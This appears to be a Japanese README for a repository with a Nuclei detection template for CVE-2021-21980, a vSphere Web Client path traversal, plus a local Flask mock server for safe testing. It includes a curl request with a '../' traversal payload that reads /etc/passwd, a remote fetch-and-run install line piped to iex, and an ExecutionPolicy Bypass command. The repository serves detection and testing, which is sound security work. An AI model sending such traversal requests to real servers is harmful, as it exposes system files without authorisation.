
CVE-2021-21980
このリポジトリには、CVE-2021-21980(vSphere Web Clientのパス横断)を検出する高信頼性のNucleiテンプレートと、安全なローカルテストのために脆弱な動作を再現する小さなモック環境が含まれています。
ファイル:
cve-2021-21980.yaml: 複数のエンコーディングバリアントとマッチャーを備えたNucleiテンプレートapp.py: /eam/vibのパス横断脆弱性をシミュレートする小さなFlaskアプリDockerfile: 自己署名TLS証明書を使用したモックサーバーのコンテナイメージdocker-compose.yml: ホストの8443番ポートで待受するモックサーバーを実行requirements.txt: Pythonの依存関係cd C:\Users\gui\Documents\hi
docker-compose up --build -d
モックサーバーは https://localhost:8443(自己署名TLS証明書)で待ち受けます。
curl -k "https://localhost:8443/" # VMware vSphere Web Client (mock) が返されるはず
curl -k "https://localhost:8443/eam/vib?id=../../../../../../../../../../etc/passwd"
モックの /app/sensitive/passwd-mock ファイルの内容が受け取れるはずです。
nuclei -t cve-2021-21980.yaml -u https://localhost:8443 -insecure
多くのエンコーディングバリアントをテストしたい場合は、Nucleiテンプレートを高冗長モードで実行するように設定してください。
run_local_test.ps1を実行してください。このスクリプトはビルド、準備完了の待機、curlチェックの実行、およびNucleiが利用可能な場合はその実行を行います。
powershell -ExecutionPolicy Bypass -File .\run_local_test.ps1
WindowsへのNucleiのインストール(クイック):
iwr -useb get.scoop.sh | iex
scoop install coreutils
scoop install nuclei
Invoke-WebRequest -Uri https://github.com/projectdiscovery/nuclei/releases/latest/download/nuclei_windows_amd64.zip -OutFile nuclei.zip
Expand-Archive -Path nuclei.zip -DestinationPath .\nuclei
Add-Content -Path $PROFILE -Value 'set PATH=$Env:PATH;$(Resolve-Path .\nuclei)'
nucleiがPATHにない場合、run_local_test.ps1はcurlテストまでのみ実行します。
Dockerイメージのビルドで問題が発生した場合は、Docker Desktopがインストールされ、'WSL 2ベースのエンジンを使用する'が有効になっていることを確認してください。
サーバーが脆弱な場合、/etc/passwdまたは類似のファイルが返されます。
セキュリティ: システムのスキャンや悪用を行う前に、必ず明示的な許可を取得してください。